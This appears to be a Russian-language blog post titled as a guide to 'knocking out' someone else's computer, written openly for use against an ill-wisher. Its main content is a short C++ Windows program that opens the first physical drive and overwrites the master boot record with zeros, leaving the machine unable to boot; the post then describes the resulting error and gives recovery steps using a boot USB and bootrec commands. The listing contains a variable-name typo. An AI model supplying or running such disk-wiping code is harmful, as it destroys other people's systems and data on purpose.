Найти в Дзене

Как "положить" чужой компьютер

Сегодня займемся кодингом. А именно – будем создавать программу для сноса MBR своему недоброжелателю.

Я уверен в знаниях любого из вас, но лучше поясню... MBR – главная загрузочная запись. Функция MBR – «переход» в тот раздел жесткого диска, с которого следует исполнять «дальнейший код» (обычно – загружать ОС). На «стадии MBR» происходит выбор раздела диска, загрузка кода ОС. В процессе запуска компьютера, после окончания начального теста (Power-on self-test – POST), базовая система ввода-вывода (BIOS) загружает «код MBR» в оперативную память и передает управление находящемуся в MBR загрузочному коду.

К слову, MBR можно легко восстановить. В конце статьи покажу, как.

Итак, приступим. Вот код, который нам нужен:

#include <windows.h>

#include <iostream>

using namespace std;

#define MBR_SIZE 512

int main() {

DWORD write;

char mbrData[MBR_SIZE]; //размер mbr - 512 байт. Они будут нами перезаписаны.

ZeroMemory(&mbrData, (sizeof mbrData)); //заполняем блок памяти нулями

HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

/* PhysicalDrive0 тут ноль а не буква "0". Мы открываем на запись и чтение наш раздел с MBR. Ниже записываем все говно в MBR */

if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &wrire, NULL) == TRUE) {

cout << "MBR is over written!" << endl;

Sleep(5000);

ExitProcess(0);

} else {

cout << "Failed" << endl;

Sleep(5000);

ExitProcess(0);

}

CloseHandle(MasterBootRecord);

return EXIT_SUCCESS;

}

Скомпилили и запускаем:

Далеко не самое страшное окно. Однако перезапускаемся и смотрим на результат:

-2

Видим, что система не может найти раздел MBR. Оно и не удивительно, так как там все записано нулями. Из-за того, что невозможно считать информацию из первых 512 байт харда, система забивает большой и толстый болт и отказывается запускаться.

Автоматический способ восстановления

Первое что надо – создать загрузочную флешку с той виндой, которая стоит у вас. Запускаемся с флешки. После этого, в зависимости от используемого дистрибутива, вам может быть предложено включить сетевые возможности (не потребуются), переназначить буквы дисков (как хотите) и выбрать язык. Следующим пунктом будет идти выбор Windows 7, загрузчик которой следует восстановить:

-3

Восстанавливаем запуск и радуемся.

Ручной способ восстановления

Грузимся в режиме командной строки и поочередно выполняем:

bootrec /fixmbr

bootrec /fixboot

Эти команды заново запишут раздел жесткого диска. Готово!